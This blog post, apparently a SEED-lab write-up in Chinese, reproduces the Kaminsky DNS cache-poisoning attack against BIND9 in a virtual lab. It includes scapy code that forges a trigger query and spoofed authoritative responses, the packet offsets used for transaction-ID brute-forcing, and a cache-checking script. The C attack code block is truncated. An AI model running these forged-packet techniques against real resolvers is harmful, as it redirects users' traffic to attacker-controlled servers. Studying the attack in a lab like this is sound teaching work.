DNS 快取中毒--Kaminsky 攻擊復現
阿新 • • 發佈:2021-04-01
# 0x00 搭建實驗環境
使用3臺Ubuntu 16.04虛擬機器,可到下面的參考連結下載 攻擊的服務是BIND9,由於條件限制,這裡使用本地的一臺虛擬機器當作遠端DNS解析器,關閉了DNSSEC服務,其中三臺機器IP地址,如下圖所示: ![1](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331125020.png) 具體的實驗環境搭建過程,可參考:[SEED Lab Description](https://seedsecuritylabs.org/Labs_16.04/PDF/DNS_Remote_new.pdf)
**配置User VM:** 在使用者機 的 `/etc/resolvconf/resolv.conf.d/head`檔案中,加入下面語句,將其Local DNS 設為 10.0.2.5。 ![image-20210331150924216](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331150924.png)
更新 resolv.conf 檔案 ```bash sudo resolvconf -u ```
進行驗證:`dig www.example.com `,SERVER 為 要設定的Local DNS ip ,即表示設定成功。 ![](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331152304.png)
**配置 Local DNS Server VM:** 編輯 /etc/bind/named.conf.options檔案,①關閉DNSSEC ②將快取 存放在dump.db檔案 ③設定查詢請求源埠為33333 ![image-20210331153128717](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331153128.png)
編輯 /etc/bind/named.conf檔案,紅框中的 可以幫助我們在 attack32.com不存在的情況下,也能進行轉發。(在本地域名伺服器裡面設定,到查詢這個域名,不去詢問根域名,不用買域名伺服器,去詢問10.0.2.6,其他域名還是去根域名依次遞迴查詢找的。) ![image-20210331153447782](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331153447.png)
全配置好之後,重啟bind9服務。 ```bash sudo service bind9 restart ```
**配置 attacker VM:** 編輯 /etc/bind/named.conf 檔案,設定兩個attack32.com,example.com兩個域。 ![image-20210331155044938](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331155044.png)
編輯 /etc/bind/attack32.com.zone 檔案 ![image-20210331155343706](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331155343.png)
編輯 /etc/bind/example.com.zone檔案 ![image-20210331155545866](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331155545.png)
這裡的含義是,如果快取中毒,會把攻擊者的機器當作權威域名伺服器,向其 發出詢問,而攻擊者機器下的example.com.zone 檔案時偽造的,欺騙的。
全配置好之後,重啟bind9服務 ```bash sudo service bind9 restart ```
# 0x01攻擊概述
### 攻擊條件 ①攻擊者無法進行鏈路上的竊聽,但具有IP欺騙能力,攻擊者擁有一臺attack32.com域名伺服器。 ②伺服器沒有開啟DNSSEC功能。 ③伺服器沒有進行源埠隨機化,且已知發出查詢的源埠為33333。
### 攻擊模型 ![2](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331145336.png)
①攻擊者先向DNS 解析器傳送一個xxxxx.example.com 的DNS查詢報文,觸發解析器去向根域名伺服器,頂級域名伺服器,權威域名伺服器遞迴解析。 ②遞迴解析器向權威域名伺服器發出查詢請求。 ③攻擊者傳送大量的偽造的權威域名伺服器響應資料包,其中使用NS記錄,將example.com整個域的查詢 轉向attack32.com,攻擊者的域名,實現快取中毒。一旦TXID命中,即可造成快取中毒。 ④真正的權威域名伺服器進行響應。
# 0x02 實驗程式碼 **思路:**使用C程式碼偽造DNS資料包 程式碼執行速度較快,完全可以滿足攻擊要求,但構造過程較為複雜,使用python scapy庫的方式,構造資料包簡單,但執行速度較慢,使Local DNS 快取中毒難度較大。 綜合以上,我們打算 結合二者,先用python scapy 庫構造資料包,儲存為二進位制檔案,然後再用C語言去載入構造的資料包,在相應的偏移位置做出修改。( 可以使用bless工具去檢視偏移量 )。
因為需要去迴圈進行查詢,爆破相應transaction ID,所以我們要修改的在觸發查詢的請求包中主要是請求的域名,在響應包裡面需要修改域名,transaction ID。
**偽造請求包觸發DNS解析器遞迴查詢** ```python from scapy.all import * target_name="xxxxx.example.com" ip = IP(dst='10.0.2.5',src='10.0.2.6') #dst為Local DNS IP,src是攻擊者IP。 udp = UDP(dport=53,sport=1234,chksum=0) qds = DNSQR(qname=target_name) dns = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=qds) Querypkt= ip/udp/dns with open('Query.bin','wb')as f: f.write(bytes(Querypkt)) ```
使用bless 檢視偏移量: ![image-20210331140222901](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331140222.png)
發現xxxxx.example.com 在資料包中的偏移量為0x29,及轉化為十進位制為41。 後面會使用C code 進行修改。
**偽造響應包** ```python from scapy.all import * targetName="xxxxx.example.com" targetDomain="example.com" attackerNS ="ns.attack32.com" dstIP="10.0.2.5" srcIP='199.43.135.53' ip = IP(dst=dstIP,src=srcIP,chksum=0) udp = UDP(dport=33333,sport=53,chksum=0) Qdsec = DNSQR(qname=targetName) Ansec = DNSRR(rrname=targetName,type='A',rdata='1.2.3.4',ttl=259200) NSsec = DNSRR(rrname=targetDomain,type='NS',rdata=attackerNS,ttl=259200) dns = DNS(id=0xAAAA,aa=1,rd=1,qr=1,qdcount=1,ancount=1,nscount=1,arcount=0,qd=Qdsec,an=Ansec,ns=NSsec) Replypkt = ip/udp/dns with open('Reply.bin','wb') as f: f.write(bytes(Replypkt)) ```
使用bless檢視偏移量: ![image-20210331140636415](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331140636.png)
因為之前我們生成的響應資料包transaction ID為0xAAAA,所以這裡我們可以直接查詢16進位制程式碼找到,偏移量為0x1c,十進位制為28。 同理,第一個xxxxx.example.com 在資料包中的偏移量為0x29,41,第二個xxxxx.example.com 在資料包中的偏移量為0x40,64。
**C攻擊程式碼:**
```c #include
# 0x03 詳細過程 `dig www.example.com` 進行解析,可得到正常情況下的地址為93.184.216.34 ![image-20210331121835365](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331121835.png)
未發動攻擊前,使用check.sh檢視快取,快取中並沒有相應記錄。 ![image-20210331120044725](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331120051.png)
注意使用raw socket 要使用 sudo進行執行程式。 ![image-20210331131904789](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331131904.png)
程式執行過程: ![image-20210331132024205](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331132024.png)
# 0x04 結果驗證
在Local DNS sever 端 寫了一個bash指令碼check.sh,進行驗證,也可直接在terminal終端使用中間兩條命令。 ```bash #!/bin/bash echo 'dump the cache' sudo rndc dumpdb -cache cat /var/cache/bind/dump.db | grep attack echo 'if there is no result,the attack has not succeed yet' ``` **sudo rndc dumpdb -cache** 將bind的快取轉存到`/var/cache/bind/dump.db`中 **cat /var/cache/bind/dump.db | grep attack** 檢視dump.db檔案, grep attack 查詢帶有attack的。
大約十秒左右,即可在Sever VM,通過check.sh指令碼檢視到結果。 ![image-20210331132235925](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331132235.png)
然後在User VM,進行驗證。 ![image-20210331132453766](https://cdn.jsdelivr.net/gh/sumsunsuns/Blog-Photo@main/20210331132453.png)
**攻擊成功!**
# 0x05 參考資料
[SEED Lab](https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Remote/) [SEED Lab Description](https://seedsecuritylabs.org/Labs_16.04/PDF/DNS_Remote_n